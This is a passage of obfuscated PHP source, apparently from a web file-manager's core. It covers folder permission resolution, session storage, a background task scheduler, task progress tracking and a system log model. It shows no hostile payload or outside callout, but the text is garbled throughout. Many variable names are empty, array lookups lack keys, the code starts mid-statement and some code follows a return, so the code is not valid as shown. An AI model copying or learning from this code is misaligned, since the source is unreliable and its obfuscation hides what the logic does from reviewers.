Model($Ĉ[2168])->listData($ڦ[$Ĉ[2169]]); if ($۔ && $۔[$Ĉ[575]][$Ĉ[2170]] == 1) { return !0; } return !1; } private function sourceAuthInfo($ቝ) { $Ӟ =& $_SERVER[]; $簔 = Model($Ӟ[1411]); $ = $簔->sourceInfo($ቝ); if (!$) { return !1; } $簔->groupPathDisplay($); $ޥ = array($); $ޥ = $簔->_listAppendPath($ޥ); $ = $ޥ[0]; $ = $[$Ӟ[582]]; if (isset($[$Ӟ[590]])) { $ = explode($Ӟ[8], trim($[$Ӟ[582]], $Ӟ[8])); array_shift($); $ = $[$Ӟ[588]] . $Ӟ[2171] . implode($Ӟ[8], $); } return array($Ӟ[494] => $[$Ӟ[32]], $Ӟ[87] => KodIO::make($[$Ӟ[193]]), $Ӟ[2172] => $); } private function groupAuthInfo($໸, $) { $ =& $_SERVER[]; $ = Model($[585])->getInfo($); return array($[2173] => intval($໸[$[487]]), $[2156] => $໸, $[2174] => LNG($[2175]), $[2165] => array($[494] => $[$[32]], $[87] => KodIO::make($[$[90]][$[193]]), $[2172] => $[$[589]])); } protected function groupRootAuth($, $窫̏ = false) { $ =& $_SERVER[]; $窫̏ = $窫̏ ? $窫̏ : USER_ID; $ = $窫̏ . $[2176] . $; static $ = array(); if (isset($[$])) { return $[$]; } $ = Model($[585])->getInfo($); $ˤ = $this->userGroupList($窫̏); $֩ = isset($ˤ[$]) ? $ˤ[$][$[487]] : !1; if ($֩ && Model($[571])->authCheckAction($֩[$[487]], $[1983])) { $[$] = $֩; return $֩; } $̊ = $this->sourceAuthSelect($[$[90]][$[193]]); $ = $̊ ? $this->authMake($̊, $窫̏) : !1; $؛ = $ ? $[$[540]] : !1; $[$] = $؛ ? $؛ : $֩; return $[$]; } public function authOwnerApply($̭) { $Ӳ =& $_SERVER[]; if (empty($̭[$Ӳ[487]]) || isset($̭[$Ӳ[2177]]) && $̭[$Ӳ[2177]]) { return $̭; } if (AuthModel::authCheckRoot($̭[$Ӳ[487]][$Ӳ[488]])) { return $̭; } $ = Model($Ӳ[1411])->parentLevelArray($̭[$Ӳ[584]]); $ = array_merge(array($̭[$Ӳ[193]]), array_reverse($)); $ވ؁ = $this->sourceAuthSelect($); $պʚ = array(); $ĺ = array(); foreach ($ވ؁ as $؜ => $碐) { $ = $this->authFolderOwnerUser($碐); $պʚ[$؜] = $; $ĺ = array_merge($ĺ, $[$Ӳ[662]]); if ($[$Ӳ[2178]]) { break; } } if (count($ĺ) == 0) { $ĺ = $this->authFolderOwnerGroup($̭[$Ӳ[569]]); } $ĺ = array_unique($ĺ); if (AuthModel::authCheckRoot($̭[$Ӳ[487]][$Ӳ[488]])) { $ĺ[] = USER_ID; } $̭[$Ӳ[487]][$Ӳ[2179]] = Model($Ӳ[577])->userListInfo($ĺ); return $̭; } private function authFolderOwnerGroup($ո) { $ =& $_SERVER[]; $샏 = Model($[2056])->where(array($[1962] => $ո))->select(); $Л = array(); if (!$샏) { return $Л; } foreach ($샏 as $) { $ = $this->authInfo($); if (AuthModel::authCheckRoot($[$[487]])) { $Л[] = $[$[1763]]; } } return $Л; } private function authFolderOwnerUser($) { $ =& $_SERVER[]; $ɩ = array(); $˒ = !1; foreach ($ as $Ӷ) { $ = $this->authInfo($Ӷ); if ($Ӷ[$[569]] == $[228]) { $˒ = !0; } if ($Ӷ[$[190]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($[$[487]])) { $ɩ[] = $Ӷ[$[569]]; } } } return array($[662] => $ɩ, $[2178] => $˒); } public function authMake($ʭ, $۟ = false) { $մ =& $_SERVER[]; $ڛ = $this->authArrayCheck($ʭ, $۟); if ($ڛ[$մ[2180]]) { $ڛ[$մ[2180]] = $this->sourceAuthInfo($ڛ[$մ[2180]]); } return $ڛ; } public function authArrayCheck($ɤͤ, $ؖ鹽 = false) { $ =& $_SERVER[]; if (!$ɤͤ) { return array($[488] => 0, $[540] => !1); } $ؖ鹽 = $ؖ鹽 ? $ؖ鹽 : USER_ID; $ = 0; $Ǝ = 0; $ = 0; $՘ = 0; $ = 0; $ = 0; $ = 1000; $ǝ = 0; $ = 0; $ = 0; $ = 0; $ڃ = array($[193] => 0); foreach ($ɤͤ as $ڃ) { $ = $this->authInfo($ڃ); if (!$) { continue; } $Dz = $ڃ[$[569]]; $ = intval($[$[487]]); if ($ڃ[$[190]] == SourceModel::TYPE_USER && $Dz == $ؖ鹽) { $ = !0; $ = $; $Ǝ = $; } else { if ($ڃ[$[190]] == SourceModel::TYPE_GROUP && $this->groupContainUser($Dz, $ؖ鹽)) { $՘ = !0; $ߒ = $this->groupStepToUserGroup($Dz, $ؖ鹽); if ($ߒ < $) { $ = $ߒ; $ = $; $ = $; $ǝ = $Dz; } if ($ߒ == $ && $ >= $) { $ = $; $ = $; $ǝ = $Dz; } } else { if ($Dz == $[228]) { $ = !0; $ = $; $ = $; } } } } if ($) { $ = $Ǝ; $ = $; $ѫՉ = LNG($[2181]); } else { if ($՘) { $ = $; $ = $; $Ϥ = Model($[585])->getInfo($ǝ); $ѫՉ = $[176] . $Ϥ[$[589]] . $[2182] . LNG($[2183]); } else { if ($) { $ = $; $ = $; $ѫՉ = LNG($[2153]); } else { $ = 0; $ = !1; $ѫՉ = $[12]; } } } $딭 = array($[2173] => intval($), $[2156] => $, $[2174] => $ѫՉ, $[2165] => $ڃ[$[193]]); return $딭; } private function groupContainUser($, $Ї = false) { return in_array($, $this->userGroupParents($Ї)); } private function groupStepToUserGroup($ͭ, $ = false) { $ =& $_SERVER[]; $ٟ = $this->userGroupList($); $ = 1000; $ʱ = $GLOBALS[$[6]][$[92]][$[2069]] == 1; $ = $ʱ ? 3 : 2; foreach ($ٟ as $̳) { if ($̳[$[1962]] == $ͭ) { return 0; } $ = explode($[50], trim($̳[$[584]], $[50])); if ($[0] == $[228] && count($) > $) { $ָȭ = array_reverse(array_slice($, $)); $π = array_search($ͭ, $ָȭ); if ($π !== !1 && $π + 1 <= $) { $ = $π + 1; } } } return $; } private function userGroupList($Ʊ = false) { $Ǽޯ =& $_SERVER[]; static $ = array(); if (isset($[$Ʊ])) { return $[$Ʊ]; } $ک = Model($Ǽޯ[598])->getInfo($Ʊ); $[$Ʊ] = array_to_keyvalue($ک[$Ǽޯ[2154]], $Ǽޯ[1962]); return $[$Ʊ]; } public function userGroupParents($) { $ =& $_SERVER[]; static $ԋÛ = array(); $ = $ ? $ : USER_ID; if (isset($ԋÛ[$])) { return $ԋÛ[$]; } $ǽ = $this->userGroupList($); $跻› = array(); $΀ò = $GLOBALS[$[6]][$[92]][$[2069]] == 1; $š = $΀ò ? 3 : 2; foreach ($ǽ as $) { $Į = array($[$[1962]]); $ܭ = explode($[50], trim($[$[584]], $[50])); if ($ܭ[0] == $[228] && count($ܭ) > $š) { $ = array_slice($ܭ, $š); $Į = array_merge($Į, array_reverse($)); } $跻› = array_merge($跻›, $Į); } $ԋÛ[$] = array_unique($跻›); return $ԋÛ[$]; } public function authTargetInfoMake($⊔) { $ݶ =& $_SERVER[]; $ģ = array(); $ = array(); foreach ($⊔ as $׾ޔ) { if ($׾ޔ[$ݶ[190]] == SourceModel::TYPE_USER) { $ģ[] = intval($׾ޔ[$ݶ[569]]); } else { if ($׾ޔ[$ݶ[190]] == SourceModel::TYPE_GROUP) { $[] = intval($׾ޔ[$ݶ[569]]); } } } if ($ģ) { $ģ = Model($ݶ[577])->userListInfo($ģ); } if ($) { $҅ = array($ݶ[2054] => array($ݶ[492], $)); $ = Model($ݶ[585])->field($ݶ[2184])->where($҅)->select(); $ = array_to_keyvalue($, $ݶ[1962]); } return array($ݶ[2185] => $ģ, $ݶ[2186] => $); } public function authInfo($֟) { $ =& $_SERVER[]; if ($֟[$[2070]]) { $ = Model($[571])->listData($֟[$[2070]]); if (!$) { return !1; $ԙܭ = Model($[571])->listData(); $ = array_filter_by_field($ԙܭ, $[487], $[228]); return $; } $Ğ = array_field_key($, array($[475], $[32], $[487], $[1985], $[1986])); $Ğ[$[2187]] = $֟; return $Ğ; } else { return array($[493] => 0, $[1968] => $֟[$[2131]], $[494] => $[12], $[1985] => $[2188]); } } } goto c; DӖ챈: class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $׊ =& $_SERVER[]; static $ = false; if ($) { return $; } $DZ = $GLOBALS[$׊[6]][$׊[425]]; self::$sessionTime = $DZ[$׊[1709]]; $ = isset($GLOBALS[$׊[1710]]) ? $GLOBALS[$׊[1710]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($)) { self::$sessionSign = Cookie::get($); } else { self::$sessionSign = self::$sessionSign ? self::$sessionSign : guid(); } } Cookie::setSafe($, self::$sessionSign, self::$sessionTime); $Ǐ = $DZ[$׊[1711]]; $ = $DZ[$Ǐ]; $ʁڠ = $DZ[$׊[902]]; switch ($Ǐ) { case $׊[21]: self::$handle = Model($׊[903]); break; case $׊[904]: self::$handle = new CacheRedis($, $ʁڠ); break; case $׊[905]: self::$handle = new CacheMemcached($, $ʁڠ); break; case $׊[230]: $[$׊[87]] = $[$׊[87]] . $׊[1712]; self::$handle = new CacheFile($, $ʁڠ); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $ = new self(); return $; } public static function getBySign($Ż) { $ȕ = self::$handle->get($Ż); $ȕ = unserialize($ȕ); return is_array($ȕ) ? $ȕ : array(); } public static function setBySign($Ջ, $ǚ) { CacheLock::lock($Ջ); self::$handle->set($Ջ, serialize($ǚ), self::$sessionTime); CacheLock::unlock($Ջ); } public static function sign($˔ = false) { if ($˔) { self::$sessionSign = $˔; } self::init(); return self::$sessionSign; } public static function set($ڸ, $Ҽ = false) { self::init(); if (is_array($ڸ)) { foreach ($ڸ as $ɶ => $֤) { array_set_value(self::$data, $ɶ, $֤); } } else { array_set_value(self::$data, $ڸ, $Ҽ); } self::setBySign(self::$sessionSign, self::$data); } public static function get($ = false) { self::init(); if (!$) { return self::$data; } return array_get_value(self::$data, $); } public static function remove($ȧ) { self::init(); unset(self::$data[$ȧ]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[][908])) { self::$handle->clearTimeout(); } } } class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $ˎ =& $_SERVER[]; if (self::valueGet($ˎ[817]) != $ˎ[91]) { return; } if (self::valueGet($ˎ[1713]) == $ˎ[91]) { $ = self::valueGet($ˎ[1714]); if (time() - $ > self::AUTO_RESTART_TIME) { self::restart(); } return; } self::clearUserStatus(); self::valueSet($ˎ[1713], $ˎ[91]); self::log($ˎ[1715] . ACTION . $ˎ[1716]); Hook::bind($ˎ[1717], $ˎ[1718]); $ֻ = 0; while (!0) { self::cacheClear(); if (self::valueGet($ˎ[817]) != $ˎ[91]) { self::valueSet($ˎ[1713], $ˎ[228]); self::log($ˎ[1719]); die; } $ = time(); if ($ - $ֻ >= 60) { self::valueSet(array($ˎ[1713] => $ˎ[91], $ˎ[1714] => $)); $ֻ = $; } if (!file_exists(USER_SYSTEM . $ˎ[1720])) { self::valueSet(array($ˎ[1713] => $ˎ[228], $ˎ[817] => $ˎ[228])); self::log($ˎ[1721]); die; } $̣ = file_get_contents(BASIC_PATH . $ˎ[1722]); $څ = KOD_VERSION . $ˎ[10] . KOD_VERSION_BUILD; $ = match_text($̣, $ˎ[1723]) . $ˎ[10] . match_text($̣, $ˎ[1724]); if ($ != $څ) { self::restart(); self::log("\x73\x74\x6f\160\145\x64\56\x5b\x76\145\162\163\x69\x6f\156\x20\165\160\144\x61\164\145\73{$versionNow}\40\75\x3e\x20{$version}\x5d"); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function clearUserStatus() { $ =& $_SERVER[]; http_close(); $GLOBALS[$[1725]] = 1; $_SERVER[$[1726]] = $[1727]; $_COOKIE = array(); $GLOBALS[$[1728]] = 1; $GLOBALS[$[1729]] = 1; Session::$sessionSign = guid(); Session::$data = array(); } public static function restart() { $ =& $_SERVER[]; http_close(); self::valueSet($[817], $[228]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($[1713] => $[228], $[817] => $[91])); self::log($[1730]); } public static function taskSwitch() { $ =& $_SERVER[]; $ = self::valueGet($[817]) == $[91] ? $[228] : $[91]; self::valueSet($[817], $); } public static function shutdownEvent() { $ƚ =& $_SERVER[]; self::valueSet($ƚ[1713], $ƚ[228]); self::log($ƚ[1731]); } public static function config($Ƭ, $ާ) { self::valueSet($_SERVER[][817], $Ƭ); } private static function taskRunAll() { $ŕ =& $_SERVER[]; $ѡȣ = timeFloat(); $ҥ = Model($ŕ[1732])->listData(); $ = count($ҥ); for ($ȧ硬 = 0; $ȧ硬 < $; $ȧ硬++) { $ = $ҥ[$ȧ硬]; if (!$[$ŕ[475]] || $[$ŕ[1733]] != $ŕ[91]) { continue; } if (!self::taskTimeCheck($)) { continue; } self::taskRun($); } Hook::trigger($ŕ[1734]); self::taskQueueRun($ѡȣ); } private static function taskQueueRun($) { $ = 10; while (!0) { $è݊ = TaskQueue::run(); if ($è݊ === !1) { break; } if (timeFloat() - $ >= $) { break; } } } private static function taskTimeCheck($) { $ =& $_SERVER[]; $땪 = json_decode($[$[206]], !0); $ = intval($[$[1714]]); $ = strtotime($[1735] . $땪[$[1736]] . $[1737]) - strtotime($[1738]); $ð = time() - strtotime(date($[1739]) . $[1740]); $ꓛ = $ð >= $ && $ð <= $ + 3600; switch ($땪[$[33]]) { case $[1741]: if (time() - $ < 3600 * 24 * 30) { return !1; } if ($땪[$[1741]] == date($[1742]) && $ꓛ) { return !0; } break; case $[1743]: if (time() - $ < 3600 * 24 * 7) { return !1; } $ = date($[1744]) == 0 ? 7 : date($[1744]); if ($땪[$[1743]] == $ && $ꓛ) { return !0; } break; case $[1736]: if (time() - $ < 3600 * 24) { return !1; } if ($ꓛ) { return !0; } break; case $[1745]: if (time() - $ >= floatval($땪[$[1745]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ =& $_SERVER[]; static $ = 0; $ڭ = 300; if (!$) { $ = time(); } if (time() - $ < $ڭ) { return; } $ = time(); $狛 = Model($[577])->db($[12]); if ($狛) { $狛->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($[1746], $[1747]); die; } } public static function taskRun($) { $ =& $_SERVER[]; self::log($[1748] . $[$[475]] . $[1749] . $[$[32]] . $[1750] . $[$[1751]]); Model($[1732])->run($[$[475]]); $ = timeFloat(); $ = $[12]; switch ($[$[33]]) { case $[383]: $ = url_request($[$[1751]], $[261], !1, !1, !1, !1, 10); if ($[$[817]]) { $ = strlen($[$[1280]]); } break; case $[260]: $ = Hook::apply($[$[1751]]); default: break; } Model($[1752])->add(array($[1753] => $[12], $[1754] => $[228], $[33] => $[1755] . $[$[475]], $[1756] => json_encode(array($[32] => $[$[32]], $[1757] => timeFloat() - $, $[369] => $)))); $ڜ = $ ? $[1758] . $ : $[12]; self::log($[1759] . $[$[475]] . $[178] . $ڜ); return !0; } public static function valueGet($̓Ԁ) { $ꉎ =& $_SERVER[]; $¨ = $ꉎ[1760]; $㩓 = Model($ꉎ[508])->get($̓Ԁ, $¨); if (is_null($㩓)) { Model($ꉎ[508])->set($ꉎ[817], $ꉎ[91], $¨); Model($ꉎ[508])->set($ꉎ[1713], $ꉎ[228], $¨); $㩓 = Model($ꉎ[508])->get($̓Ԁ, $¨); } return $㩓; } private static function valueSet($, $úɳ = false) { $ϧ =& $_SERVER[]; $և = $ϧ[1761]; CacheLock::lock($և); $峢 = Model($ϧ[508])->set($, $úɳ, $ϧ[1760]); CacheLock::unlock($և); return $峢; } protected static function log($Ž) { write_log($Ž, $_SERVER[][1747]); } private static function cacheClear() { $͇ =& $_SERVER[]; Cache::clearMemory(Model($͇[508])->cacheKey($͇[1760])); Cache::clearMemory(Model($͇[508])->cacheKey($͇[1762])); Model($͇[1732])->cacheClear(); self::closeDatabase(); } } class Task { const STATYS_STOP = "\x73\x74\x6f\160"; const STATYS_RUNNING = "\x72\x75\x6e\x6e\151\x6e\x67"; const STATYS_KILL = "\153\x69\x6c\x6c"; public $task; private $isEnd = false; public function __destruct() { $this->end(); } public function __construct($ġ, $ǫ˓ = '', $󭕜 = 0, $ = '') { $ =& $_SERVER[]; if (self::get($ġ)) { return; } $this->task = array($[475] => $ġ, $[1763] => USER_ID, $[1652] => $, $[526] => $[12], $[33] => $ǫ˓, $[1136] => $[12], $[1134] => $󭕜, $[1764] => 0, $[1765] => 0, $[1766] => 0, $[1767] => timeFloat(), $[1768] => 0, $[1769] => 0, $[1770] => 0, $[1771] => 0, $[817] => $[1713]); $GLOBALS[$[1772]] = 1; Hook::bind($[1717], array($this, $[1773])); Hook::bind($[1774], array($this, $[1775])); $this->startAfter(); Hook::trigger($[1776], $this->task); $this->task[$[1769]] = timeFloat(); } public function end($ = '') { $ =& $_SERVER[]; if (!$this->task || $this->isEnd) { return; } if ($this->task[$[1769]]) { self::valueSet($this->task[$[475]], !1); } $this->isEnd = !0; if ($) { $this->task[$[526]] = $; } self::log($[1777] . $this->task[$[475]] . $[1778] . sprintf($[925], timeFloat() - $this->task[$[1767]]) . $[1779]); Hook::unbind($[1717], array($this, $[1773])); Hook::unbind($[1774], array($this, $[1775])); $this->endAfter(); $ = $this->task; $this->task = !1; Hook::trigger($[1780], $); } public function update($ϗ = 0, $ = false) { $ߌ =& $_SERVER[]; $ =& $this->task; if (!$) { return; } $[$ߌ[1764]] += $ϗ; $[$ߌ[1768]] = timeFloat(); if ($[$ߌ[1134]]) { if ($[$ߌ[1134]] < $[$ߌ[1764]]) { $[$ߌ[1134]] = $[$ߌ[1764]]; } $ = timeFloat() - $[$ߌ[1767]] - $[$ߌ[1770]]; if ($ <= 0) { $ = 0.001; } $[$ߌ[1765]] = $[$ߌ[1764]] / $[$ߌ[1134]]; $[$ߌ[1766]] = $[$ߌ[1764]] / $; if ($[$ߌ[1765]] > 0) { $[$ߌ[1771]] = $ * (1 - $[$ߌ[1765]]) / $[$ߌ[1765]]; } $[$ߌ[1771]] = $[$ߌ[1771]] <= 0 ? 0 : $[$ߌ[1771]]; } $this->updateAfter(); $׉ = 0.2; if (timeFloat() - $[$ߌ[1769]] < $׉ && !$) { return; } $縃 = self::get($[$ߌ[475]]); $ = $縃[$ߌ[817]]; if ($ == self::STATYS_KILL) { $ܮۈ = array($ߌ[1781] => LNG($ߌ[1782]), $ߌ[1290] => !1); Cache::set($ߌ[1783] . $this->task[$ߌ[475]], $ܮۈ, 30); $this->onKill(); $this->end(); die; } else { if ($ == self::STATYS_STOP) { $ĩ = 2; $縃[$ߌ[1770]] += $ĩ; self::valueSet($[$ߌ[475]], $縃); sleep($ĩ); $this->update(); return; } } $[$ߌ[817]] = $ ? $ : $[$ߌ[817]]; $[$ߌ[1770]] = $縃[$ߌ[1770]] ? $縃[$ߌ[1770]] : 0; $[$ߌ[1769]] = timeFloat(); Hook::trigger($ߌ[1784], $); self::valueSet($[$ߌ[475]], $); } public function onKillSet($׀Є, $ = array()) { $this->onKillCall = array($׀Є, $); } public function onKill() { $̛ =& $_SERVER[]; self::log($̛[1777] . $this->task[$̛[475]] . $̛[1785]); Hook::trigger($̛[1786], $this->task); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; $this->task = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($綦) { $Ķ =& $_SERVER[]; Cache::set($Ķ[1783] . $this->task[$Ķ[475]], $綦, 60); return $綦; } public static function get($) { $ӧ =& $_SERVER[]; $ɽ = self::valueGet($); if (is_array($ɽ) && $ɽ[$ӧ[1787]]) { $ = ActionApply($ɽ[$ӧ[1787]], array($ɽ)); $ɽ = is_array($) ? $ : $ɽ; } return $ɽ; } public static function listData() { $ݒ = self::valueGet(); return array_sort_by($ݒ, $_SERVER[][1767], !0); } public static function kill($ܙ) { return self::changeStatus($ܙ, self::STATYS_KILL); } public static function stop($) { return self::changeStatus($, self::STATYS_STOP); } public static function restart($Ѕ) { return self::changeStatus($Ѕ, self::STATYS_RUNNING); } public static function killAll() { $ =& $_SERVER[]; $ԙ = self::listData(); foreach ($ԙ as $) { self::kill($[$[475]]); } sleep(2); foreach ($ԙ as $) { self::valueSet($[$[475]], !1); } } private static function changeStatus($ڬ, $ܖ) { $谵 =& $_SERVER[]; $ = self::valueGet($ڬ); if (!$) { return !1; } $[$谵[817]] = $ܖ; self::valueSet($ڬ, $); self::log($谵[1788] . $[$谵[475]] . $谵[1789] . $ܖ); return !0; } public static function valueGet($ = false) { $ߝ =& $_SERVER[]; if ($) { $ = Model($ߝ[520])->where(array($ߝ[97] => $, $ߝ[33] => $ߝ[1143]))->find(); return $ ? json_decode($[$ߝ[450]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($ݧ = false) { $냋 =& $_SERVER[]; $щ = array($냋[33] => $냋[1143]); if ($ݧ) { $щ[$냋[1763]] = $ݧ; } $Γ = Model($냋[520])->where($щ)->select(); $Γ = $Γ ? $Γ : array(); foreach ($Γ as $ӓ => $Ζ) { $Γ[$ӓ] = json_decode($Ζ[$냋[450]], !0); } return $Γ; } public static function valueSet($Ǟ, $) { $ =& $_SERVER[]; if (!$) { return Model($[520])->where(array($[97] => $Ǟ, $[33] => $[1143]))->delete(); } $ܭ = json_encode($); if (!$ܭ) { ob_start(); var_dump($); $ά = ob_get_clean(); self::log($[1790] . json_encode_force($ά)); } if (!$Ǟ || !$[$[475]]) { return !1; } $ = array($[33] => $[1143], $[1763] => USER_ID, $[97] => $Ǟ, $[450] => $ܭ); $؊ = $[1791]; CacheLock::lock($؊); Model($[520])->add($, array(), !0); CacheLock::unlock($؊); } public static function log($޻) { if (!GLOBAL_DEBUG) { return; } write_log($޻, $_SERVER[][1792]); } } goto E; c: class SystemLogModel extends ModelBase { protected $tableName = "\163\171\163\x74\145\155\137\x6c\x6f\x67"; protected $dataAuto = array(array("\x63\x72\x65\x61\164\x65\124\x69\x6d\145", "\164\151\x6d\145", "\x69\156\163\x65\162\x74", "\x66\x75\156\143\164\x69\157\156")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $݉ =& $_SERVER[]; return array($݉[2328] => LNG($݉[2329]), $݉[2330] => LNG($݉[2331]), $݉[1904] => LNG($݉[2332]), $݉[2333] => LNG($݉[2334]), $݉[2335] => LNG($݉[2336]), $݉[2337] => LNG($݉[2338]), $݉[2339] => LNG($݉[2340]), $݉[1934] => LNG($݉[2340]), $݉[1935] => LNG($݉[2341]), $݉[2342] => LNG($݉[2343]), $݉[2344] => LNG($݉[2345]), $݉[2346] => LNG($݉[2347]), $݉[2348] => LNG($݉[2349]), $݉[1932] => LNG($݉[2350]), $݉[2351] => LNG($݉[2352]), $݉[1939] => LNG($݉[2353]), $݉[2354] => LNG($݉[2355]), $݉[2356] => LNG($݉[2357]), $݉[2358] => LNG($݉[2359]), $݉[2360] => LNG($݉[2361]), $݉[1942] => LNG($݉[2362]), $݉[1943] => LNG($݉[2363]), $݉[2364] => LNG($݉[2365]), $݉[2366] => LNG($݉[2367]), $݉[2368] => LNG($݉[2369]), $݉[1937] => LNG($݉[2370]), $݉[2371] => LNG($݉[2372]), $݉[1936] => LNG($݉[2373]), $݉[2374] => LNG($݉[2375]), $݉[2376] => LNG($݉[2377]), $݉[2378] => LNG($݉[2377]), $݉[2379] => LNG($݉[2380]), $݉[2381] => LNG($݉[2381]), $݉[2382] => LNG($݉[1908]), $݉[2383] => LNG($݉[2384]), $݉[2385] => LNG($݉[2386]), $݉[2387] => LNG($݉[2388]), $݉[2389] => LNG($݉[2390]), $݉[2391] => LNG($݉[2392]), $݉[2393] => LNG($݉[2393]), $݉[2394] => LNG($݉[2395]), $݉[2396] => LNG($݉[2397]), $݉[2398] => LNG($݉[2399]), $݉[2400] => LNG($݉[2401]), $݉[2402] => LNG($݉[2403]), $݉[2404] => LNG($݉[2405]), $݉[212] => LNG($݉[212]), $݉[213] => LNG($݉[2406]), $݉[2407] => LNG($݉[2407])); } private function typeFile() { $ޛð =& $_SERVER[]; $ㅫ = array($ޛð[1939] => array($ޛð[1940]), $ޛð[2346] => array($ޛð[2408]), $ޛð[2348] => array($ޛð[2409]), $ޛð[1932] => array($ޛð[1933], $ޛð[2410]), $ޛð[2356] => array(), $ޛð[2358] => array(), $ޛð[2360] => array(), $ޛð[1942] => array($ޛð[1944]), $ޛð[1943] => array($ޛð[1944]), $ޛð[2364] => array($ޛð[2411]), $ޛð[2366] => array($ޛð[2411]), $ޛð[2368] => array($ޛð[2412]), $ޛð[2354] => array($ޛð[2413]), $ޛð[1937] => array($ޛð[2414]), $ޛð[2371] => array($ޛð[2415]), $ޛð[1936] => array($ޛð[1938])); return $ㅫ; } private function typeAll() { $– =& $_SERVER[]; $ = $this->typeList; $ = array_filter($this->typeFile()); foreach ($ as $ֹ => $Ƽ) { $[$Ƽ[0]] = $[$ֹ]; } $[$–[1944]] = LNG($–[2416]); $[$–[2411]] = LNG($–[2417]); return $; } public function addLog($, $䍃 = array()) { $幹 =& $_SERVER[]; if (!isset($this->typeList[$])) { return; } $ = Session::get($幹[2104]); if (!$) { $ = _get($䍃, $幹[1763], 0); } if ($ == $幹[2383] && is_array($䍃[$幹[2418]]) && !$䍃[$幹[2418]]) { return; } $ݙö = get_client_ip(); if (!$䍃 || strlen(json_encode($䍃)) >= 1024 * 64) { if ($䍃 && is_array($䍃)) { $䍃 = array_intersect_key($䍃, array_flip($幹[475], $幹[32])); $䍃[$幹[2419]] = $ݙö; } else { $䍃 = array($幹[2419] => $ݙö); } } else { if (is_array($䍃)) { $䍃[$幹[2419]] = $ݙö; } else { $䍃 = array($幹[1280] => $䍃, $幹[2419] => $ݙö); } } $䍃 = array($幹[1753] => Session::sign(), $幹[1754] => intval($), $幹[33] => $, $幹[1756] => json_encode($䍃)); parent::add($䍃); } public function remove($ޗ) { $this->where(array($_SERVER[][493] => $ޗ))->delete(); } private function _makeOrder($աɨ = '') { $Ї =& $_SERVER[]; $ّ = $Ї[231]; $Ȉ = array($Ї[523] => $Ї[524], $Ї[525] => $Ї[526]); $ć = Input::get($Ї[531], $Ї[7], $Ї[2140], array($Ї[2057], $Ї[525])); $ć = $Ȉ[$ć]; $աɨ = $աɨ . "{$ّ}\40{$ć}"; return $this->order($աɨ); } public function get($Ε = '') { $ =& $_SERVER[]; if (!$Ε) { show_json(array()); } $更 = array(); if ($Ε[$[1763]]) { $更[$[1763]] = $Ε[$[1763]]; } if (isset($Ε[$[827]])) { $Ǐʓ = $Ε[$[827]]; $Ǭ = isset($Ε[$[828]]) ? $Ε[$[828]] : time(); $更[$[231]] = array($[409], array($Ǐʓ, $Ǭ)); } if ($Ε[$[33]]) { $ؽ = explode($[50], $Ε[$[33]]); $̋ = $this->typeFile(); $΍ = array(); foreach ($ؽ as $) { $΍[] = $; if (isset($̋[$])) { $΍ = array_merge($΍, $̋[$]); } } $΍ = array_unique($΍); if ($΍) { $更[$[33]] = array($[7], $΍); } } else { $更[$[33]] = array($[2420], $[2421]); } if (!empty($Ε[$[2419]])) { $更[$[526]] = array($[459], "\x25{$Ε[$[2419]]}\x25"); } $ = $this->_makeOrder()->where($更)->selectPage(); if (empty($[$[445]])) { show_json(array(), !0, $[$[442]]); } $[$[445]] = $this->logList($[$[445]]); return $; } private function ipAddress(&$菃) { $М =& $_SERVER[]; if (!empty($菃[$М[2419]])) { $ = IpLocation::get($菃[$М[2419]]); } else { $ = LNG($М[2422]); } $菃[$М[2423]] = $; } private function descZipDownload($, &$) { $ƯƱ =& $_SERVER[]; if (!isset($[$ƯƱ[2424]])) { return; } $ = json_decode($[$ƯƱ[2424]], !0); foreach ($ as $瞇) { try { $ = IO::infoFullSimple($瞇[$ƯƱ[87]]); } catch (Exception $) { continue; } $[$ƯƱ[87]] = $瞇[$ƯƱ[87]]; $[] = $[$ƯƱ[193]] = $[$ƯƱ[193]]; $[] = $[$ƯƱ[2196]] = $[$ƯƱ[192]]; break; } return $; } private function getSourceList(&$˷) { $黎 =& $_SERVER[]; $В = array(); foreach ($˷ as $ɷُ => $⛫) { $ = json_decode($⛫[$黎[526]], !0); if ($⛫[$黎[33]] == $黎[1935]) { $ = $this->descZipDownload($, $В); $˷[$ɷُ][$黎[526]] = json_encode($); continue; } if (strpos($⛫[$黎[33]], $黎[2198]) !== 0) { if (!isset($[$黎[87]]) || strpos($⛫[$黎[33]], $黎[2425]) !== 0) { continue; } try { $ɫހ = IO::infoFullSimple($[$黎[87]]); } catch (Exception $̘) { continue; } $В[] = $[$黎[193]] = $ɫހ[$黎[193]]; $В[] = $[$黎[2196]] = $ɫހ[$黎[192]]; $˷[$ɷُ][$黎[526]] = json_encode($); continue; } $В[] = $[$黎[193]]; $В[] = $[$黎[2196]]; if ($[$黎[33]] == $黎[620]) { $В[] = $[$黎[526]][$黎[1234]]; $В[] = $[$黎[526]][$黎[1235]]; } if ($[$黎[33]] == $黎[2207]) { $В[] = $[$黎[526]][$黎[193]]; } } if (!$В) { return array(); } return Model($黎[899])->sourceListInfo($В, !0); } private function logList($) { $ת =& $_SERVER[]; $ = array_to_keyvalue($, $ת[12], $ת[1763]); $ߝ = Model($ת[598])->userListInfo(array_unique($)); $Ǯ = $this->getSourceList($); $금 = $this->typeAll(); $ = array(); $ = array(); foreach ($ as $٩ => $ƌ) { $ = $ƌ[$ת[33]]; $ = 